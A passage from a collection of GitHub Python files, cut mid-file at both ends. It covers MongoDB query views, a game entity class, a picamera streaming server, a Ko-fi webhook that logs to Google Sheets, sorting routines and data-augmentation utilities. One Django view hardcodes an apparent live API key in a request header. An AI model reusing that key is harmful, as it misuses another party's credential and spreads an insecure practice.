Optional[User]:\n with bus.uows.get(User) as uow:\n user = uow.repo.get(UserId(user_id))\n if user:\n return user.erase_sensitive_data()\n else:\n return None\n\n\ndef users_public_info(users: List[str], bus: MessageBus) -> List[Dict]:\n filter = {\"_id\": {\"$in\": users}}\n fields = {\n \"_id\": 0,\n \"id\": \"$_id\",\n \"public_name\": 1,\n \"referral_code\": 1,\n \"email\": 1,\n }\n with bus.uows.get(User) as uow:\n db = uow.repo.db\n with mongo_client() as client:\n col = client[db].users\n res = col.aggregate(\n [\n {\"$match\": filter},\n {\"$project\": fields},\n ]\n )\n results = list(res)\n return results\n\n\ndef reminder_to_flat_dict(r: Union[Reminder, Dict]):\n r = asdict(r) if isinstance(r, Reminder) else r\n d = dict(flatdict.FlatDict(r, delimiter=\"_\"))\n if \"related_user_id\" in d:\n d[\"related_user\"] = d.pop(\"related_user_id\")\n return d\n\n\ndef get_user_reminders(user_id: str, bus: MessageBus) -> List[Dict]:\n with bus.uows.get(User) as uow:\n db = uow.repo.db\n with mongo_client() as client:\n col = client[db].users\n res = col.find_one({\"_id\": user_id}, projection=[\"reminders\"])\n cleaned = [reminder_to_flat_dict(r) for r in res.get(\"reminders\", [])]\n return cleaned\n\n\ndef get_reminders_to_notify(since: int, to: int = now_utc_millis(),\n bus: MessageBus = None) -> List[Dict]:\n with bus.uows.get(User) as uow:\n db = uow.repo.db\n with mongo_client() as client:\n col = client[db].users\n filter = {\n \"state\": RootAggState.ACTIVE.value,\n \"reminders.time\": {\n \"$gte\": since - 24*60*60*1000,\n \"$lt\": to - 24*60*60*1000,\n }\n }\n cursor = col.aggregate(\n [\n {\"$match\": filter},\n {\"$unwind\": {\"path\": \"$reminders\"}},\n {\"$project\": {\"_id\": 0, \"id\": \"$_id\", \"title\": 1}},\n ]\n )\n\n return [r for r in cursor]\n\n\ndef id_from_referral(referral_code: str, bus: MessageBus) -> Optional[str]:\n with bus.uows.get(User) as uow:\n db = uow.repo.db\n with mongo_client() as client:\n col = client[db].users\n res = col.find_one(\n filter={\"referral_code\": referral_code}, projection=[\"_id\"]\n )\n\n return res.get(\"_id\", None) if res else None\n\n\ndef id_from_email(email: str, bus: MessageBus) -> Optional[str]:\n with bus.uows.get(User) as uow:\n db = uow.repo.db\n with mongo_client() as client:\n col = client[db].users\n res = col.find_one(filter={\"email\": email.lower()}, projection=[\"_id\"])\n\n return res.get(\"_id\", None) if res else None\n\n\ndef keep_to_flat_dict(k: Keep):\n d = dict(flatdict.FlatDict(asdict(k), delimiter=\"_\"))\n d[\"id\"] = d.pop(\"id_id\")\n d[\"requested\"] = d.pop(\"requested_id\")\n d[\"requester\"] = d.pop(\"requester_id\")\n d[\"state\"] = d.pop(\"state\").value\n d[\"modified_ts\"] = k.last_modified()\n del d[\"events\"]\n return d\n\n\ndef user_keeps(\n bus: MessageBus,\n user_id: str = None,\n order_by: str = None,\n order: str = \"asc\",\n state: str = None,\n):\n with bus.uows.get(Keep) as uow:\n repo: KeepRepository = uow.repo\n keeps = repo.all(user=UserId(user_id))\n if state:\n keeps = [k for k in keeps if k.state.value == state.lower()]\n else:\n keeps = [k for k in keeps if k.state in VISIBLE_STATES]\n if order_by:\n is_reverse = order == \"desc\"\n keeps.sort(reverse=is_reverse, key=lambda a: getattr(a, order_by))\n return [keep_to_flat_dict(k) for k in keeps]\n\n\ndef all_keeps(\n bus: MessageBus,\n order_by: str = None,\n order: str = \"asc\",\n):\n with bus.uows.get(Keep) as uow:\n repo: KeepRepository = uow.repo\n keeps = repo.all()\n if order_by:\n is_reverse = order == \"desc\"\n keeps.sort(reverse=is_reverse, key=lambda a: getattr(a, order_by))\n return [keep_to_flat_dict(k) for k in keeps]\n\n\ndef pending_keeps(user_id: str, bus=None) -> int:\n with bus.uows.get(User) as uow:\n db = uow.repo.db\n with mongo_client() as client:\n col = client[db].keeps\n filter = {\n \"requested\": user_id,\n \"state\": RootAggState.PENDING.value,\n }\n num_pending = col.count_documents(filter)\n return num_pending\n\n\ndef get_active_refresh_token(\n bus: MessageBus, session_id: str = None, token: str = None\n) -> RefreshToken:\n with bus.uows.get(Session) as uow:\n if session_id:\n sessions = uow.repo.get(sid=session_id)\n else:\n sessions = uow.repo.get(token=token)\n for session in sessions:\n if session.is_active():\n return session.refresh_token\n # All other cases\n raise InvalidSession()\n","repo_name":"keepemapp/back","sub_path":"kpm/users/adapters/mongo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"33051924277","text":"from orthogonalspace.entities.entity import Entity\n\nimport txaio\n\nlog = txaio.make_logger()\n\n\nclass Ship(Entity):\n REGISTRY = {}\n\n METADATA = {\n \"name\": \"\",\n \"description\": \"\",\n \"geometry\": \"sphere\",\n }\n\n @classmethod\n def type_info(cls):\n return {k: getattr(s, \"METADATA\", {}) for k, s in cls.REGISTRY.items()}\n\n @classmethod\n def type_name(cls):\n return getattr(cls, \"METADATA\", {}).get(\"name\", cls.__name__)\n\n @classmethod\n def component_slots(cls):\n return []\n\n def __init__(self, *args, name=None, configuration=None, faction=None, **kwargs):\n super().__init__(*args, geometry=self.type_info().get(\"geometry\", \"sphere\"), **kwargs)\n self.launched = False\n self.name = name or \"Spacey McSpaceface\"\n self.configuration = configuration or {}\n self.faction = faction\n\n def launch(self):\n self.universe.add_ship(self)\n self.universe.add_entity(self)\n self.launched = True\n\n async def tick(self, dt):\n log.debug(\"Ship Position: {pos}\", pos=str(self.position))\n\n @property\n def type(self):\n return type(self).type_name()\n\n def validate_components(self):\n filled_slots = []\n remaining_slots = sorted(self.component_slots(), key=lambda s: (-s.count(\".\"), s))\n\n for component in self.configuration.get(\"components\", []):\n for i, slot in enumerate(remaining_slots):\n if slot.startswith(component.slot_type()):\n filled_slots.append(remaining_slots.pop(i))\n break\n else:\n log.info(\"Component %s does not fit in this ship\", component)\n return False\n\n log.info(\"Components validated with %d empty slots\", len(remaining_slots))\n return True\n\n def to_json(self):\n res = super().to_json()\n res.update({\n \"launched\": self.launched,\n \"name\": self.name,\n \"configuration\": self.configuration,\n \"faction_id\": self.faction.id,\n \"type\": self.type,\n \"slots\": self.component_slots(),\n })\n\n return res\n","repo_name":"bitbyt3r/orthogonalspace","sub_path":"orthogonalspace/entities/ship/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"24517471646","text":"#!/usr/bin/env python\nimport numpy as np\nimport pandas as pd\n\n# Array of days old bread\ndays_old_bread = np.array([0, 8, 7, 8, 0, 2, 3, 5, 6, 2])\ndef count_days(min, max, array):\n count = 0\n day_range = range(min, max+1)\n for element in array:\n for day in day_range:\n if day == element:\n count+=1\n return count\n\n\n\n\n# Count the values in each bin \ndays_old_012 = count_days(0,2, days_old_bread)\ndays_old_345 = count_days(3,5, days_old_bread)\ndays_old_678 = count_days(6,8, days_old_bread)\n\n# Printing the values\nprint(\"Between 0 and 2 days: \" + str(days_old_012))\nprint(\"Between 3 and 5 days: \" + str(days_old_345))\nprint(\"Between 6 and 8 days: \" + str(days_old_678))","repo_name":"elxavi82/py_projects_repo","sub_path":"histogram-excercise.py","file_name":"histogram-excercise.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"34750581186","text":"import io\nimport picamera\nimport logging\nimport socketserver\nfrom threading import Condition\nfrom http import server\n\nPAGE=\"\"\"\\\n\n\npicamera MJPEG streaming demo\n\n\n

PiCamera MJPEG Streaming Demo

\n\n\n\n\"\"\"\n\nclass StreamingOutput(object):\n def __init__(self):\n self.frame = None\n self.buffer = io.BytesIO()\n self.condition = Condition()\n\n def write(self, buf):\n if buf.startswith(b'\\xff\\xd8'):\n # New frame, copy the existing buffer's content and notify all\n # clients it's available\n self.buffer.truncate()\n with self.condition:\n self.frame = self.buffer.getvalue()\n self.condition.notify_all()\n self.buffer.seek(0)\n return self.buffer.write(buf)\n\nclass StreamingHandler(server.BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path == '/':\n self.send_response(301)\n self.send_header('Location', '/index.html')\n self.end_headers()\n elif self.path == '/index.html':\n content = PAGE.encode('utf-8')\n self.send_response(200)\n self.send_header('Content-Type', 'text/html')\n self.send_header('Content-Length', len(content))\n self.end_headers()\n self.wfile.write(content)\n elif self.path == '/stream.mjpg':\n self.send_response(200)\n self.send_header('Age', 0)\n self.send_header('Cache-Control', 'no-cache, private')\n self.send_header('Pragma', 'no-cache')\n self.send_header('Content-Type', 'multipart/x-mixed-replace; boundary=FRAME')\n self.end_headers()\n try:\n while True:\n with output.condition:\n output.condition.wait()\n frame = output.frame\n self.wfile.write(b'--FRAME\\r\\n')\n self.send_header('Content-Type', 'image/jpeg')\n self.send_header('Content-Length', len(frame))\n self.end_headers()\n self.wfile.write(frame)\n self.wfile.write(b'\\r\\n')\n except Exception as e:\n logging.warning(\n 'Removed streaming client %s: %s',\n self.client_address, str(e))\n else:\n self.send_error(404)\n self.end_headers()\n\nclass StreamingServer(socketserver.ThreadingMixIn, server.HTTPServer):\n allow_reuse_address = True\n daemon_threads = True\n\nwith picamera.PiCamera(resolution='640x480', framerate=24) as camera:\n output = StreamingOutput()\n camera.start_recording(output, format='mjpeg')\n try:\n address = ('', 8000)\n server = StreamingServer(address, StreamingHandler)\n server.serve_forever()\n finally:\n camera.stop_recording()\n","repo_name":"waveform80/picamera","sub_path":"docs/examples/web_streaming.py","file_name":"web_streaming.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","stars":1536,"dataset":"github-code","pt":"70"} +{"seq_id":"12720097277","text":"from .conf import install_optional\n\n\ndef get_installed():\n return ['django.contrib.staticfiles', 'crudlfap', 'myapp'].copy()\n\n\ndef test_install_optional():\n bs3 = {'debug_toolbar': {'after': 'django.contrib.staticfiles'}}\n messages = {\n 'django.contrib.messages': {\n 'before': 'django.contrib.staticfiles'\n }\n }\n nonexistent = {\n 'nonexistent': None,\n }\n ctx = {\n 'crudlfap_auth': None,\n }\n after = get_installed()\n install_optional([bs3], after)\n expect = [\n 'django.contrib.staticfiles',\n 'debug_toolbar',\n 'crudlfap',\n 'myapp',\n ]\n assert after == expect, \"Failed to insert bootstrap3 after crudlfap\"\n before_and_after = get_installed()\n install_optional([bs3, messages], before_and_after)\n expected = ['django.contrib.messages', 'django.contrib.staticfiles',\n 'debug_toolbar', 'crudlfap', 'myapp']\n assert before_and_after == expected, \"Failed before and after\"\n nono = get_installed()\n install_optional([nonexistent], nono)\n assert nono == get_installed(), \"Non existing app installed\"\n mod_attr = get_installed()\n install_optional([ctx], mod_attr)\n expected = ['django.contrib.staticfiles', 'crudlfap', 'myapp',\n 'crudlfap_auth']\n assert mod_attr == expected, \"Failed to append module attribute reference\"\n","repo_name":"habustos/Prodielco","sub_path":"venv/lib/python3.9/site-packages/crudlfap/test_conf.py","file_name":"test_conf.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"9132363583","text":"from django.shortcuts import render\nfrom django.contrib import messages\nimport requests\nfrom django.http import HttpResponseRedirect\n\n# Create your views here.\ndef display(request):\n\tquery = request.GET.get(\"q\")\n\t#print query\n\turl = 'https://mercury.postlight.com/parser?url='\n\theaders= {'Content-Type':'application/json','x-api-key':'PHPOY1bN6NVvFIw4jaQGJtCui4sX0H2J7gkUHAzn'}\n\tif(query):\n\t\tr= requests.get(url+query, headers=headers)\n\t\tjson=r.json()\n\t\t#print json\n\t\tif 'error' in json:\n\t\t\tmessages.success(request,\"Please give a Valid Url\")\n\t\t\treturn HttpResponseRedirect('/')\n\t\telse:\n\t\t\tcontext_data = {'title':json['title'] , 'content':json['content']}\n\t\t\treturn render(request,\"display.html\",context_data)\n","repo_name":"mundhramridul/Readability","sub_path":"src/readview/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21148623090","text":"from DotStar_Emulator.emulator.gui import widget\nfrom DotStar_Emulator.emulator import globals, config\n\n\nclass LogoWidget(widget.Widget):\n\n def __init__(self, use_surface=True):\n \"\"\"\n Widget for display the emulator apps logo\n\n :param use_surface: `Boolean` Use widget surface\n :return:\n \"\"\"\n\n super(LogoWidget, self).__init__(use_surface=use_surface)\n\n self.layout.margin.set(0, 5, 10, 5)\n\n def on_render(self):\n self.surface.fill(config.get(\"BRAND_BOX_BG\"))\n\n font = globals.current_app.get_font(22)\n\n c = config.get(\"BRAND_TITLE\")\n text = font.render(config.get(\"WINDOW_CAPTION\"), True, c)\n text_pos = text.get_rect()\n\n text_pos.center = self.surface.get_rect().center\n self.surface.blit(text, text_pos)\n\n","repo_name":"chrisrossx/DotStar_Emulator","sub_path":"DotStar_Emulator/emulator/widgets/logo.py","file_name":"logo.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"38024039578","text":"def mergersort(arr):\n\tl=len(arr)\n\tif len(arr)>1:\n\t\tmid=l//2\t\n\t\tL=arr[:mid]\n\t\tR=arr[mid:]\n\t\tmergersort(L)\n\t\tmergersort(R)\n\t\ti=j=k=0\n\t\twhile i=3.6\",\n version=VERSION,\n author=\"Aidan Pine\",\n author_email=\"hello@aidanpine.ca\",\n license=\"MIT\",\n url=\"https://github.com/roedoejet/g2p\",\n description=\"Module for creating context-aware, rule-based G2P mappings that preserve indices\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n platform=[\"any\"],\n packages=find_packages(),\n include_package_data=True,\n install_requires=REQS,\n entry_points={\"console_scripts\": [\"g2p = g2p.cli:cli\"]},\n zip_safe=False,\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n)\n","repo_name":"roedoejet/g2p","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"70"} +{"seq_id":"11715436082","text":"import tensorflow as tf\nimport numpy as np\nimport math\n\ndef HomoCoord(coords):\n shape = coords.get_shape().as_list()\n shape[-1] = 1\n ones = tf.ones(shape)\n coords = tf.concat([coords, ones], axis=-1)\n return coords\n\ndef ApplyTransform(coords, transform, inverse=False):\n \"\"\"\n Apply transform to coords\n :param coords: BxHxWx3\n :param transform: Bx4x4 or 4x4\n :return:\n \"\"\"\n expand = False\n if len(coords.get_shape()) == 3:\n coords = tf.expand_dims(coords, axis=0)\n expand = True\n batch_size, height, width, _ = coords.get_shape().as_list()\n\n if len(transform.get_shape()) == 2:\n transform = tf.expand_dims(transform, axis=0) # 1x4x4\n transform = tf.tile(transform, [batch_size, 1, 1]) # Bx4x4\n if inverse:\n transform = tf.matrix_inverse(transform)\n\n coords = HomoCoord(coords) # BxHxWx4\n coords = tf.reshape(coords, [batch_size, height * width, 4]) # BxHWx4\n coords = tf.transpose(coords, [0, 2, 1]) # Bx4xHW\n coords = tf.matmul(transform, coords) # Bx4xHW\n coords = tf.transpose(coords, [0, 2, 1]) # BxHWx4\n coords = tf.reshape(coords, [batch_size, height, width, 4]) # BxHxWx4\n coords = tf.slice(coords, [0, 0, 0, 0], [-1, -1, -1, 3]) # BxHxWx3\n if expand:\n coords = tf.squeeze(coords, axis=0)\n return coords\n\ndef GetPixelMap(batch_size, height, width, normalize=False, spec=None):\n \"\"\"\n Get the normalized pixel coordinates\n :return: BxHxWx2\n \"\"\"\n map_y = np.zeros((height, width)) # HxW\n map_x = np.zeros((height, width)) # HxW\n for i in range(height):\n map_x[i, :] = range(width)\n for i in range(width):\n map_y[:, i] = range(height)\n map_y = tf.convert_to_tensor(map_y, tf.float32)\n map_y = tf.expand_dims(map_y, axis=-1)\n map_x = tf.convert_to_tensor(map_x, tf.float32)\n map_x = tf.expand_dims(map_x, axis=-1)\n if normalize:\n map_x = (map_x - spec.u) / spec.focal_x\n map_y = (map_y - spec.v) / spec.focal_y\n map = tf.concat([map_x, map_y], axis=-1) # HxWx2\n map = tf.expand_dims(map, axis=0) # 1xHxWx2\n map = tf.tile(map, [batch_size, 1, 1, 1])\n return map\n\n########################### data augmentation ##############################\ndef image_translation_augmentation(image, spec):\n \"\"\"\n :param image: HxWxC\n :param spec:\n :return H'xW'xC\n :return:\n \"\"\"\n min_y = 0\n max_y = spec.image_size[0] - spec.crop_size[0]\n min_x = 0\n max_x = spec.image_size[1] - spec.crop_size[1]\n rand_x = 0\n rand_y = 0\n if max_y > min_y:\n rand_y = tf.squeeze(tf.random_uniform([1], min_y, max_y, dtype=tf.int32))\n if max_x > min_x:\n rand_x = tf.squeeze(tf.random_uniform([1], min_x, max_x, dtype=tf.int32))\n with tf.device('/device:CPU:0'):\n image_crop = tf.image.crop_to_bounding_box(image, rand_y, rand_x, spec.crop_size[0], spec.crop_size[1]) # 1xHxWxC\n image_crop = tf.squeeze(image_crop) # HxWxC\n return image_crop\n\ndef image_enlarge_augmentation(image, spec):\n batch_size, _, _, _ = image.get_shape().as_list()\n\n # Rotation\n angle = tf.random_uniform([1], -30, 30, dtype=tf.float32)\n angles = tf.tile(angle, [batch_size])\n radians = angles * math.pi / 180.0\n image = tf.contrib.image.rotate(image, radians, interpolation='NEAREST')\n\n x1 = tf.squeeze(tf.random_uniform([1], 0, 0.2, dtype=tf.float32))\n y1 = tf.squeeze(tf.random_uniform([1], 0, 0.2, dtype=tf.float32))\n ratio = tf.squeeze(tf.random_uniform([1], 0.8, 1 - tf.maximum(x1, y1), dtype=tf.float32))\n x2 = x1 + ratio\n y2 = y1 + ratio\n boxes = [[y1, x1, y2, x2]] * batch_size\n box_ind = [0] * batch_size\n image = tf.image.crop_and_resize(image, boxes, box_ind, spec.crop_size) # BxHxWxC\n return image\n\ndef image_shrink_augmentation(image, spec):\n batch_size, _, _, _ = image.get_shape().as_list()\n # Rotation\n angle = tf.random_uniform([1], -30, 30, dtype=tf.float32)\n angles = tf.tile(angle, [batch_size])\n radians = angles * math.pi / 180.0\n image = tf.contrib.image.rotate(image, radians, interpolation='NEAREST')\n\n ratio = tf.squeeze(tf.random_uniform([1], 0.8, 1.0))\n new_height = tf.cast(spec.crop_size[0] * ratio, tf.int32)\n new_width = tf.cast(spec.crop_size[1] * ratio, tf.int32)\n resize_image = tf.image.resize_images(image, [new_height, new_width])\n with tf.device('/device:CPU:0'):\n image = tf.image.resize_image_with_crop_or_pad(resize_image, spec.crop_size[0], spec.crop_size[1])\n return image\n\ndef image_augmentation(image, spec):\n \"\"\"\n :param image: HxWxC\n :param spec:\n :return H'xW'xC\n \"\"\"\n def f1(): return image_translation_augmentation(image, spec)\n def f2(): return image_enlarge_augmentation(image, spec)\n def f3(): return image_shrink_augmentation(image, spec)\n\n rand_var = tf.squeeze(tf.random_uniform([1], 0, 1., dtype=tf.float32))\n image = tf.case([(rand_var < 0.1, f1), (rand_var < 0.55, f2)], default=f3, exclusive=False)\n\n return image\n############################ eof data augmentation ##############################","repo_name":"zlthinker/KFNet","sub_path":"KFNet/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5115,"program_lang":"python","lang":"en","doc_type":"code","stars":210,"dataset":"github-code","pt":"70"} +{"seq_id":"4397479378","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport argparse\nfrom collections import Counter\nfrom xml.dom.minidom import parseString\nimport batchupload.common as common\nimport batchupload.helpers as helpers\nimport utils\n\n\ndef create_wikipage(items, typ):\n table_head = \"{{{{User:André Costa (WMSE)/mapping-head|name=photographer name|{}=}}}}\\n\".format(typ)\n table_foot = '|}'\n table_row = \"{{{{User:André Costa (WMSE)/mapping-row\\n| name= {}\\n|frequency = {}\\n|{} = \\n}}}}\\n\"\n wikitext = ''\n for item in items:\n count = item[1]\n value = item[0]\n wikitext += table_row.format(value, count, typ)\n return table_head + wikitext + table_foot\n\n\ndef save_data(out_file, text):\n return common.open_and_write_file(out_file, text)\n\n\ndef load_data(in_file):\n return common.open_and_read_file(in_file, as_json=False)\n\n\ndef get_items_by_tag(xml, tag):\n items = []\n dom = parseString(utils.character_cleanup(xml))\n records = dom.getElementsByTagName(\"DScribeRecord\")\n for record in records:\n try:\n content = record.getElementsByTagName(\n tag)[0].firstChild.nodeValue\n except (AttributeError, IndexError):\n content = \"\"\n if len(content) != 0:\n items.append(content.strip())\n counted = Counter(items)\n return counted.most_common()\n\n\ndef create_filename(field):\n return \"{}.txt\".format(field)\n\n\ndef main(arguments):\n raw_xml = load_data(arguments.in_file)\n items = get_items_by_tag(raw_xml, arguments.field)\n wikitable = create_wikipage(items, arguments.typ)\n filename = create_filename(arguments.field)\n save_data(filename, wikitable)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--in_file\", default=\"helleday.xml\")\n parser.add_argument(\"--field\", required=True)\n parser.add_argument(\"--typ\", default=\"wikidata\")\n parser.add_argument(\"--split\")\n args = parser.parse_args()\n main(args)\n","repo_name":"Vesihiisi/SMV","sub_path":"commons/find_common_items.py","file_name":"find_common_items.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"11327446536","text":"from weather import get_hamilton_weather\nfrom basicfunction import get_name, get_favourite_food, get_favourite_sports\nfrom sharemoney import get_shared_money\n# command dict\ncommand_dict = {\n \"name\": get_name,\n \"food\": get_favourite_food,\n \"sports\": get_favourite_sports,\n \"weather\": get_hamilton_weather,\n \"money\": get_shared_money,\n}\n","repo_name":"tczorro/slackbot","sub_path":"command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"19138991416","text":"import os\nimport json\nfrom datetime import datetime as dt\nfrom flask import Flask, request\nfrom dotenv import load_dotenv\nfrom spreadsheets.google_sheets import SheetsManager\nfrom email_manager.sender import EmailManager\nfrom kofi_query import query\n\nload_dotenv ()\n\napp = Flask(__name__)\nKOFI_TOKEN = os.getenv(\"KOFI_TOKEN\")\nGOOGLE_SHEETS = os.getenv(\"GOOGLE_SHEETS\")\nEMAIL_USER = os.getenv(\"EMAIL_USER\")\nEMAIL_PASS = os.getenv(\"EMAIL_PASS\")\nEMAIL_SUBJECT_STORE = os.getenv(\"EMAIL_SUBJECT_STORE\")\nDEBUG_EMAIL_TO = os.getenv(\"DEBUG_EMAIL_TO\")\n\nCURRENT_FOLDER = os.path.dirname(os.path.abspath(__file__))\nEMAIL_MANAGER = EmailManager (EMAIL_USER, EMAIL_PASS)\n\ndef write_data (sheets_manager:SheetsManager, sheet:str, data:list):\n \"\"\" Write data in specific sheet\n\n Args:\n sheet (str): sheet name\n data (list): data to write\n \"\"\"\n \n # Change sheet\n sheets_manager.set_sheet (sheet)\n\n # Detect last row\n current_row = sheets_manager.get_rows_num () + 1\n\n # Write data\n sheets_manager.write_data ([data], row=current_row, column=1)\n\n@app.post(\"/\")\ndef home():\n \n try:\n \n # Get post data \n form_data = request.form.get (\"data\")\n form_data = json.loads (form_data)\n res_token = form_data[\"verification_token\"]\n timestamp = form_data[\"timestamp\"]\n res_type = form_data[\"type\"]\n user_name = form_data[\"from_name\"]\n message = form_data[\"message\"]\n amount = form_data[\"amount\"]\n email = form_data[\"email\"]\n currency = form_data[\"currency\"]\n shop_items = form_data[\"shop_items\"]\n shipping = form_data[\"shipping\"]\n url = form_data[\"url\"]\n \n # Validate token\n if res_token != KOFI_TOKEN:\n return (\"Invalid token\", 403)\n \n # Convert string to datetime\n datetime = dt.strptime(timestamp, '%Y-%m-%dT%H:%M:%SZ')\n date = datetime.strftime(\"%d/%m/%Y\")\n time = datetime.strftime(\"%H:%M:%S\")\n \n # Connect to google sheets\n current_folder = os.path.dirname(os.path.abspath(__file__))\n creads_path = os.path.join (current_folder, \"credentials.json\")\n sheets_manager = SheetsManager (GOOGLE_SHEETS, creads_path)\n \n # Write data based in donation type\n subject = \"\"\n if res_type == \"Donation\":\n subject = f\"Thanks for your support to {EMAIL_SUBJECT_STORE}!\"\n write_data (sheets_manager, \"kofi donations\", [\n date, \n time, \n user_name, \n message, \n amount, \n email, \n currency,\n url,\n \"FALSE\",\n ]) \n elif res_type == \"Shop Order\":\n\n # Create list of product links\n\n # Format shop items\n shop_items_text = []\n shop_items_links = []\n for shop_item in shop_items:\n \n # Create links of products\n product_link = f\"https://ko-fi.com/s/{shop_item['direct_link_code']}\"\n shop_items_links.append (product_link)\n \n # Query product name\n query_data = query (product_link, res_type)\n product_name = query_data[\"product_name\"]\n \n shop_item_text = f\"{product_name} x{shop_item['quantity']}\"\n variant = shop_item[\"variation_name\"]\n if variant:\n shop_item_text += f\" ({variant})\"\n shop_items_text.append (shop_item_text)\n\n # Format shipping data\n shipping_text = \"\"\n shipping_name = shipping[\"full_name\"]\n country = query_data[\"country\"]\n for shipping_key, shipping_value in shipping.items():\n shipping_text += f\"{shipping_key}: {shipping_value}\\n\"\n \n subject = f\"Thanks for purchasing {EMAIL_SUBJECT_STORE}!\"\n write_data (sheets_manager, \"kofi sales\", [\n date, \n time, \n user_name, \n amount, \n email, \n currency, \n \"\\n\".join(shop_items_text),\n \"\\n\".join(shop_items_links),\n shipping_name,\n country,\n shipping_text,\n url,\n \"FALSE\",\n ])\n elif res_type == \"Commission\":\n\n\n query_data = query (url, res_type)\n product_name = query_data[\"product_name\"]\n adiitional_details = query_data[\"adiitional_details\"]\n country = query_data[\"country\"]\n full_address = query_data[\"full_address\"]\n \n subject = f\"Thanks for your comission {EMAIL_SUBJECT_STORE}!\"\n write_data (sheets_manager, \"kofi commissions\", [\n date, \n time, \n user_name, \n amount, \n email, \n currency, \n product_name,\n country, \n full_address,\n adiitional_details,\n url,\n \"FALSE\",\n ])\n \n # Get other donations data\n EMAIL_MANAGER.send_email (\n receivers=[\"darideveloper@gmail.com\"],\n subject=f\"test donations {res_type}\",\n body=str(form_data)\n )\n \n # Submit thaks email\n if subject == \"\":\n return (\"no valid type\", 400)\n \n print (f\"Sending confirmation email to {email}...\")\n EMAIL_MANAGER.send_email (\n receivers=[email],\n subject=subject,\n html_path=os.path.join(CURRENT_FOLDER, \"templates\", \"thanks.html\"),\n html_data={\"user_name\": user_name, \"res_type\": res_type} \n )\n print (\"Email sent\")\n \n return (\"ok\")\n \n except Exception as e:\n \n print (e)\n \n # Submit error email\n EMAIL_MANAGER.send_email (\n receivers=[DEBUG_EMAIL_TO],\n subject=\"Error in Kofi Webhook\",\n body=str(e) \n )\n print (\"Debug email sent\")\n \n return (\"error\", 500)\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"darideveloper/kofi-api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"70725018468","text":"from clrs import *\nimport random\n\n@check\ndef _(f):\n a, rans = case.sa()\n yield f(a) == rans\n\n@answer\ndef f(a):\n def sort(a, beg, end):\n if end - beg > 1:\n lim = beg + 1\n for i in xrange(beg + 1, end):\n if a[i] < a[beg]:\n a[lim], a[i] = a[i], a[lim]\n lim += 1\n a[beg], a[lim - 1] = a[lim - 1], a[beg]\n sort(a, beg, lim - 1)\n sort(a, lim, end)\n sort(a, 0, len(a))\n return a\n\n@answer\ndef f(a):\n def sort(a, beg, end):\n if end - beg > 1:\n k = beg + 1\n for i in xrange(beg + 1, end):\n if a[i] < a[beg]:\n a[k], a[i] = a[i], a[k]\n k += 1\n a[k - 1], a[beg] = a[beg], a[k - 1]\n sort(a, beg, k - 1)\n sort(a, k, end)\n sort(a, 0, len(a))\n return a\n\n@answer\ndef f(a):\n def sort(a, beg, end):\n if end - beg > 1:\n k = beg\n for i in xrange(beg, end - 1):\n if a[i] < a[end - 1]:\n a[i], a[k] = a[k], a[i]\n k += 1\n a[k], a[end - 1] = a[end - 1], a[k]\n sort(a, beg, k)\n sort(a, k + 1, end)\n sort(a, 0, len(a))\n return a\n","repo_name":"fans656-deprecated/clrs","sub_path":"16 quick sort.py","file_name":"16 quick sort.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25086947182","text":"import spacy\n\nfrom nlaugmenter.interfaces.SentenceOperation import SentenceOperation\nfrom nlaugmenter.interfaces.SentencePairOperation import SentencePairOperation\nfrom nlaugmenter.tasks.TaskTypes import TaskType\nfrom nlaugmenter.utils.initialize import spacy_nlp\n\n\"\"\"\nAuxiliary Negation Removal.\n Remove auxiliary negations generating a sentence with oposite meaning.\n\"\"\"\n\n\ndef auxiliary_negation_removal(sentence, nlp):\n\n \"\"\"returns (arg1 / arg2) + arg3\n\n This functions removes auxiliary negations when present.\n\n :param sentence: sentence to process\n :param nlp: spacy pipeline for tokenization\n :type sentence: str\n :type nlp: spacy module\n :returns: sprocessed sentences\n :rtype: str\n \"\"\"\n\n # Tokenize Sentence\n doc = nlp(sentence)\n\n # Initialize Variables\n changed = False\n new_sentence = []\n supported_auxiliaries = [\n \"am\",\n \"are\",\n \"can\",\n \"could\",\n \"had\",\n \"has\",\n \"have\",\n \"is\",\n \"may\",\n \"might\",\n \"must\",\n \"shall\",\n \"should\",\n \"was\",\n \"were\",\n \"will\",\n \"would\",\n ]\n\n # Evaluate Tokens\n for token in doc:\n # Add Token to Output 